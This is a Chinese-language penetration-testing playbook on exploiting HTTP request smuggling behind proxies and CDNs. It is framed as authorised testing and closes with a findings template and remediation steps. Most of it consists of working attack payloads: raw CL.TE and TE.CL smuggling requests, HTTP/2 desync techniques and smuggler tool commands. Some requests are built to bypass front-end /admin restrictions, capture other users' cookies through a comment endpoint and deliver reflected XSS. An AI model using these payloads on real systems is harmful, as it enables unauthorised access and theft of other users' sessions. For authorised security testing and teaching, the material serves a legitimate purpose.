killvxk 利用 HTTP 请求走私漏洞（Exploiting HTTP Request Smuggling）
适用场景
- 当应用程序位于反向代理、负载均衡器或 CDN 后面时，在授权渗透测试期间使用
- 测试在请求链中存在多个 HTTP 处理器的基础设施（nginx + Apache、HAProxy + Gunicorn）
- 评估应用程序的 HTTP 去同步（desynchronization）漏洞
- 当其他攻击向量受限且需要绕过前端安全控制时
- 在多层 Web 架构的安全评估期间
前置条件
- 授权：明确涵盖请求走私的书面渗透测试协议（高风险测试）
- Burp Suite Professional：配合 HTTP Request Smuggler 扩展（Turbo Intruder）
- smuggler.py：自动化 HTTP 请求走私检测工具
- curl：支持 HTTP/1.1 和手动分块编码
- 目标架构知识：了解代理/服务器链（前端和后端）
- 注意：请求走私可能影响其他用户的请求；请谨慎测试
工作流程
步骤 1：识别 HTTP 架构
确定代理/服务器链和 HTTP 解析特征。
# 识别前端代理/CDN
curl -s -I "https://target.example.com/" | grep -iE \
"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"
# 常见架构：
# Cloudflare → Nginx → 应用
# AWS ALB → Apache → 应用
# HAProxy → Gunicorn → Python 应用
# Nginx → Node.js/Express
# Akamai → IIS → .NET 应用
# 检查 HTTP 版本支持
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1
# 检查是否支持 Transfer-Encoding
curl -s -X POST \
-H "Transfer-Encoding: chunked" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "0\r\n\r\n" \
"https://target.example.com/" -w "%{http_code}"
# 检查后端是否将 HTTP/2 降级为 HTTP/1.1
# 许多 CDN 接受 HTTP/2 但向源站转发 HTTP/1.1
步骤 2：测试 CL.TE 走私
前端使用 Content-Length，后端使用 Transfer-Encoding。
# 在 Burp Suite Repeater 中，禁用"Update Content-Length"选项
# 手动发送以下请求：
POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# 如果存在漏洞（CL.TE）：
# 前端读取 13 字节（Content-Length），转发整个请求
# 后端读取分块："0\r\n\r\n" = 请求体结束
# "SMUGGLED" 成为下一个请求的开始
# 检测技术：基于时间
# 如果后端读取分块并看到不完整的块，它会等待：
POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
# 如果响应延迟（约 5-10 秒），则可能存在 CL.TE 漏洞
步骤 3：测试 TE.CL 走私
前端使用 Transfer-Encoding，后端使用 Content-Length。
# Burp Repeater - 禁用"Update Content-Length"
POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# 如果存在漏洞（TE.CL）：
# 前端读取分块：块"SMUGGLED" + 最终"0"
# 后端读取 Content-Length 的 3 字节："8\r\n"
# 剩余的"SMUGGLED\r\n0\r\n\r\n"成为下一个请求前缀
# 通过差异响应检测：
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# 前端（TE）：读取"0\r\n\r\n"，看到结束
# 后端（CL）：读取 6 字节"0\r\nX\r\n"
# 下一个请求被添加"X"前缀，导致 400/405 错误
步骤 4：使用自动化检测工具
运行自动化扫描器检测走私变体。
# 使用 smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST
# 使用 Burp HTTP Request Smuggler 扩展
# 1. 从 BApp Store 安装："HTTP Request Smuggler"
# 2. 在 Site Map 中右击目标 > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. 在 Scanner > Issue Activity 中查看结果
# 使用 h2csmuggler 进行 HTTP/2 走私
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
"https://target.example.com/admin"
# 使用 Turbo Intruder 进行手动检测
# 以不同时序发送成对请求
# 第一个请求：走私前缀
# 第二个请求：受影响的普通请求
步骤 5：利用请求走私产生实际影响
利用已确认的走私漏洞实施实际攻击。
# 攻击 1：绕过前端访问控制
# 访问被前端代理阻止的 /admin
# CL.TE 利用：
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.example.com
Foo: x
# 走私的"GET /admin"请求绕过前端限制
# 因为它直接被后端处理
# 攻击 2：捕获其他用户的请求
# 走私一个将下一个用户请求存储在可见位置的请求
POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
body=
# 下一个合法用户的请求被附加到"body="
# 并作为评论存储，暴露其 Cookie 和请求头
# 攻击 3：反射型 XSS 升级
# 走私一个在下一个响应中反射 XSS 的请求
POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x
# 下一个用户收到 XSS 响应而非预期响应
步骤 6：测试 HTTP/2 请求走私
评估 HTTP/2 特有的走私向量。
# 通过请求头中的 CRLF 注入进行 HTTP/2 走私
# HTTP/2 应该拒绝请求头值中的 \r\n，但某些代理不会
# H2.CL 走私：HTTP/2 前端，后端使用 Content-Length
# 发送带有不匹配 :path 和内容的 HTTP/2 请求
# 使用 Burp Suite 支持 HTTP/2：
# 1. 在 Repeater 中启用 HTTP/2：Inspector > HTTP/2
# 2. 构建带有冲突 CL 头的请求
# HTTP/2 头注入
# 通过 HTTP/2 伪头添加：Transfer-Encoding: chunked
# 某些前端从 HTTP/1.1 中去除 TE 但不从 HTTP/2 中去除
# 测试 HTTP/2 请求隧道
# 如果前端为多个用户重用 HTTP/2 连接：
# 污染连接以影响后续请求
# 通过 HTTP/2 CONNECT 进行 H2.TE 走私
# 使用 HTTP/2 中的 CONNECT 方法建立隧道
# 绕过前端安全控制
核心概念
| 概念 | 定义 |
|---|---|
| CL.TE 走私 | 前端使用 Content-Length，后端使用 Transfer-Encoding |
| TE.CL 走私 | 前端使用 Transfer-Encoding，后端使用 Content-Length |
| TE.TE 走私 | 两端都使用 Transfer-Encoding 但对混淆的 TE 头解析不同 |
| HTTP 去同步（HTTP Desync） | 前端和后端对请求边界意见不一致的状态 |
| 请求拆分（Request Splitting） | 一个 HTTP 请求被解释为两个独立请求 |
| 连接污染（Connection Poisoning） | 走私数据影响同一 TCP 连接上的下一个请求 |
| H2.CL 走私 | HTTP/2 到 HTTP/1.1 降级，伴有 Content-Length 差异 |
工具与系统
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 禁用自动 Content-Length 的手动请求构建 |
| HTTP Request Smuggler (Burp) | James Kettle 开发的自动化走私检测扩展 |
| smuggler.py | 基于 Python 的自动化 HTTP 请求走私扫描器 |
| h2cSmuggler | Bishop Fox 开发的 HTTP/2 明文走私工具 |
| Turbo Intruder | 用于时间敏感走私测试的高速请求引擎 |
| curl | 具有精确字节控制的手动 HTTP 请求构建 |
常见场景
场景：管理面板访问绕过
前端代理阻止 /admin 请求。CL.TE 走私攻击在后端请求队列中预置 GET /admin，导致后端处理管理请求时不经过前端的访问控制检查。
场景：通过请求捕获窃取 Cookie
TE.CL 走私攻击向评论端点注入部分 POST 请求。下一个用户的请求（包括 Cookie 和授权头）被附加到评论正文并存储在数据库中。
场景：通过走私进行缓存投毒
走私的请求导致缓存存储来自不同 URL 的响应。结合缓存投毒，攻击者可以向所有请求合法 URL 的用户提供恶意内容。
场景：CDN 上的 HTTP/2 去同步
CDN 接受 HTTP/2 并降级为 HTTP/1.1 转发给源站。通过 HTTP/2 进行头注入创建去同步，允许攻击者走私绕过 CDN 的 WAF 规则的请求。
输出格式
## HTTP 请求走私发现
**漏洞**: CL.TE HTTP 请求走私
**严重性**: 严重（CVSS 9.1）
**位置**: 前端（Cloudflare）→ 后端（Nginx + Gunicorn）
**OWASP 类别**: A05:2021 - 安全配置错误
### 架构
前端: Cloudflare（Content-Length 优先）
后端: Gunicorn（Transfer-Encoding 优先）
协议: 代理和源站之间使用 HTTP/1.1
### 复现步骤
1. 发送同时带有 Content-Length 和 Transfer-Encoding 头的 POST 请求
2. Content-Length 设置为包含走私请求前缀
3. Transfer-Encoding: chunked，以"0\r\n\r\n"结束请求体
4. 走私数据成为下一个后端请求的前缀
### 已确认利用
| 利用方式 | 影响 |
|---------|--------|
| 管理员绕过 | 无需身份验证访问 /admin |
| 请求捕获 | 窃取其他用户的会话 Cookie |
| XSS 升级 | 向任意用户投递反射型 XSS |
| 缓存投毒 | 用恶意响应污染 CDN 缓存 |
### 建议
1. 确保前端和后端使用相同的 HTTP 解析行为
2. 拒绝同时包含 Content-Length 和 Transfer-Encoding 的模糊请求
3. 升级为端到端 HTTP/2（无协议降级）
4. 在代理和源站服务器之间使用 HTTP/2
5. 在转发前在前端规范化请求